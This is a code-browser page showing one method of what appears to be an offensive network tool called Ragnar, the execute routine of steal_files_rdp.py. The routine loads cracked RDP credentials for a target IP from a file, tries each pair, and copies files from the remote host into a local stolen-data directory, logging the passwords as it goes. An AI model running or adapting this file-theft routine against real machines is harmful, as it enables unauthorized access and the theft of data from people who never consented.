MCPcopy Create free account
hub / github.com/PierreGode/Ragnar / execute

Method execute

actions/steal_files_rdp.py:100–176  ·  view source on GitHub ↗

Steal files from the remote server using RDP.

(self, ip, port, row, status_key)

Source from the content-addressed store, hash-verified

98 logger.error(f"Error stealing file {remote_file}: {e}")
99
100 def execute(self, ip, port, row, status_key):
101 """
102 Steal files from the remote server using RDP.
103 """
104 try:
105 if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
106 self.shared_data.ragnarorch_status = "StealFilesRDP"
107 # Wait a bit because it's too fast to see the status change
108 time.sleep(5)
109 logger.info(f"Stealing files from {ip}:{port}...")
110
111 # Get RDP credentials from the cracked passwords file
112 rdpfile = self.shared_data.rdpfile
113 credentials = []
114 if os.path.exists(rdpfile):
115 with open(rdpfile, 'r') as f:
116 lines = f.readlines()[1:] # Skip the header
117 for line in lines:
118 parts = line.strip().split(',')
119 if parts[1] == ip:
120 credentials.append((parts[3], parts[4]))
121 logger.info(f"Found {len(credentials)} credentials for {ip}")
122
123 if not credentials:
124 logger.error(f"No valid credentials found for {ip}. Skipping...")
125 return 'failed'
126
127 def timeout():
128 """
129 Timeout function to stop the execution if no RDP connection is established.
130 """
131 if not self.rdp_connected:
132 logger.error(f"No RDP connection established within 4 minutes for {ip}. Marking as failed.")
133 self.stop_execution = True
134
135 timer = Timer(240, timeout) # 4 minutes timeout
136 timer.start()
137
138 # Attempt to steal files using each credential
139 success = False
140 for username, password in credentials:
141 if self.stop_execution or self.shared_data.orchestrator_should_exit:
142 logger.info("Steal files execution interrupted due to orchestrator exit.")
143 break
144 try:
145 logger.info(f"Trying credential {username}:{password} for {ip}")
146 client = self.connect_rdp(ip, username, password)
147 if client:
148 remote_files = self.find_files(client, '/mnt/shared')
149 mac = row['MAC Address']
150 local_dir = os.path.join(self.shared_data.datastolendir, f"rdp/{mac}_{ip}")
151 if remote_files:
152 for remote_file in remote_files:
153 if self.stop_execution or self.shared_data.orchestrator_should_exit:
154 logger.info("File stealing process interrupted due to orchestrator exit.")
155 break
156 self.steal_file(remote_file, local_dir)
157 success = True

Callers

nothing calls this directly

Calls 11

connect_rdpMethod · 0.95
find_filesMethod · 0.95
steal_fileMethod · 0.95
infoMethod · 0.80
appendMethod · 0.80
errorMethod · 0.80
successMethod · 0.80
cancelMethod · 0.80
getMethod · 0.45
sleepMethod · 0.45
startMethod · 0.45

Tested by

no test coverage detected